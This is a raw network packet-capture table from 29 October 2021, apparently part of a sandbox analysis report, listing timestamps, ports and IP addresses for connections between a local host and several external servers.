Oct 29, 2021 15:30:29.499288082 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.499309063 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.499361038 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.499380112 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.499387026 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.499420881 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.499471903 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.499578953 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.499629974 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.499644995 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.499653101 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.499684095 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.499691010 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.499727964 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.499738932 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.499752045 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.499763012 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.499788046 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.499794006 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.499844074 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.499897003 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.499923944 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.499994993 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.500001907 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.500014067 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.500061989 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.518114090 CEST	80	49830	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:29.519416094 CEST	49830	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:29.519540071 CEST	49830	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:29.519573927 CEST	49830	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:29.533700943 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.534601927 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.564488888 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.601804972 CEST	80	49830	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:29.603563070 CEST	49830	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:29.603929043 CEST	49830	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:29.655807018 CEST	80	49830	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:29.837424040 CEST	49831	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:29.889749050 CEST	80	49831	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:29.890209913 CEST	49831	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:29.890441895 CEST	49831	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:29.890486002 CEST	49831	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:29.942662001 CEST	80	49831	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:29.973443031 CEST	80	49831	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:29.974272013 CEST	49831	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:29.998948097 CEST	49831	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:30.051322937 CEST	80	49831	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:30.110728025 CEST	49832	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:30.162715912 CEST	80	49832	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:30.162957907 CEST	49832	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:30.163027048 CEST	49832	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:30.163036108 CEST	49832	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:30.241039991 CEST	80	49832	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:30.241342068 CEST	49832	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:30.241398096 CEST	49832	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:30.296650887 CEST	80	49832	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:34.894145966 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:34.894182920 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.894321918 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:34.900835037 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:34.900865078 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.940747023 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.950891018 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:34.950915098 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.997549057 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.997651100 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.997704983 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.997719049 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:34.997739077 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.997792959 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.997795105 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:34.997809887 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.997865915 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:34.997874975 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.997929096 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.997975111 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.997982979 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:34.997993946 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.998049974 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:34.998053074 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.998070002 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.998133898 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:34.998142958 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.998192072 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.998236895 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.998245001 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:34.998255014 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.998296022 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:34.998302937 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.998346090 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.998379946 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.998395920 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:34.998404980 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.998447895 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:34.998447895 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.998461962 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.998501062 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:34.998509884 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.998565912 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.998605013 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.998626947 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:34.998636007 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.998681068 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.998683929 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:34.998696089 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.998758078 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:34.998764038 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.998779058 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.998851061 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:34.998852015 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.998864889 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.998936892 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.998936892 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:34.998949051 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.998994112 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:34.999002934 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.999048948 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.999092102 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.999095917 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:34.999104977 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.999166965 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.999169111 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:34.999181032 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.999245882 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:34.999254942 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.999268055 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.999310017 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.999315023 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:34.999325037 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.999361992 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.999376059 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:34.999386072 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:34.999416113 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.017605066 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.017678022 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.017716885 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.017733097 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.017746925 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.017801046 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.017801046 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.017819881 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.017857075 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.017879009 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.017932892 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.017932892 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.017946005 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.017995119 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.018001080 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.018053055 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.018084049 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.018093109 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.018109083 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.018135071 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.018170118 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.018201113 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.018209934 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.018229008 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.018241882 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.018292904 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.018296003 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.018306971 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.018362999 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.018372059 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.018415928 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.018449068 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.018456936 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.018471003 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.018518925 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.018527031 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.018584967 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.021930933 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.023390055 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.033078909 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.033153057 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.033174038 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.033190012 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.033214092 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.033230066 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.033256054 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.033262968 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.033274889 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.033294916 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.033325911 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.033337116 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.033344984 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.033385038 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.033389091 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.033444881 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.033447027 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.033458948 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.033505917 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.033524990 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.033582926 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.033595085 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.033653975 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.033655882 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.033668995 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.033703089 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.033721924 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.033727884 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.033735991 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.033782959 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.033799887 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.033857107 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.033863068 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.033878088 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.033920050 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.033932924 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.033991098 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.033991098 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.034004927 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.034044027 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.034055948 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.034106016 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.057460070 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.057472944 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.057487965 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.057497025 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.057677984 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.057687044 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.057696104 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.057703972 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.057785034 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.057791948 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.057878017 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.057887077 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.057898998 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.058037043 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.058044910 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.058056116 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.058192015 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.058199883 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.058252096 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.058259964 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.058270931 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.058415890 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.058423996 CEST	443	49833	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:35.058507919 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.068990946 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.070794106 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:35.101515055 CEST	49833	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:58.071592093 CEST	49840	80	192.168.2.7	172.67.160.46
Oct 29, 2021 15:30:58.088844061 CEST	80	49840	172.67.160.46	192.168.2.7
Oct 29, 2021 15:30:58.089036942 CEST	49840	80	192.168.2.7	172.67.160.46
Oct 29, 2021 15:30:58.089442015 CEST	49840	80	192.168.2.7	172.67.160.46
Oct 29, 2021 15:30:58.106364012 CEST	80	49840	172.67.160.46	192.168.2.7
Oct 29, 2021 15:30:58.262504101 CEST	80	49840	172.67.160.46	192.168.2.7
Oct 29, 2021 15:30:58.262556076 CEST	80	49840	172.67.160.46	192.168.2.7
Oct 29, 2021 15:30:58.262595892 CEST	80	49840	172.67.160.46	192.168.2.7
Oct 29, 2021 15:30:58.262654066 CEST	49840	80	192.168.2.7	172.67.160.46
Oct 29, 2021 15:30:58.262696981 CEST	80	49840	172.67.160.46	192.168.2.7
Oct 29, 2021 15:30:58.262727022 CEST	80	49840	172.67.160.46	192.168.2.7
Oct 29, 2021 15:30:58.262753010 CEST	80	49840	172.67.160.46	192.168.2.7
Oct 29, 2021 15:30:58.262794018 CEST	49840	80	192.168.2.7	172.67.160.46
Oct 29, 2021 15:30:58.262849092 CEST	49840	80	192.168.2.7	172.67.160.46
Oct 29, 2021 15:30:58.288840055 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:58.335232019 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:58.335781097 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:58.336302042 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:58.336386919 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:58.383189917 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:58.383217096 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:58.783206940 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:58.783236027 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:58.783252001 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:58.783267975 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:58.783283949 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:58.783299923 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:58.783315897 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:58.783329010 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:58.783380985 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:58.783417940 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:58.783500910 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:58.799546003 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:58.845846891 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.062896013 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.062923908 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.062941074 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.062956095 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.062972069 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.062988043 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.063003063 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.063019037 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.063020945 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.063034058 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.063046932 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.063076973 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.063098907 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.109257936 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.109286070 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.109298944 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.109316111 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.109328985 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.109348059 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.109359980 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.109371901 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.109384060 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.109395027 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.109427929 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.109450102 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.109462976 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.109483004 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.109493971 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.109513044 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.109524965 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.109536886 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.109560966 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.109580040 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.109651089 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.109807014 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.158449888 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.158469915 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.158487082 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.158504009 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.158564091 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.158622026 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.159111977 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159137964 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159157038 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159173965 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159205914 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.159234047 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.159288883 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159311056 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159333944 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159358978 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159363031 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.159383059 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159404039 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159411907 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.159429073 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159447908 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159465075 CEST	80	49841	194.180.174.181	192.168.2.7
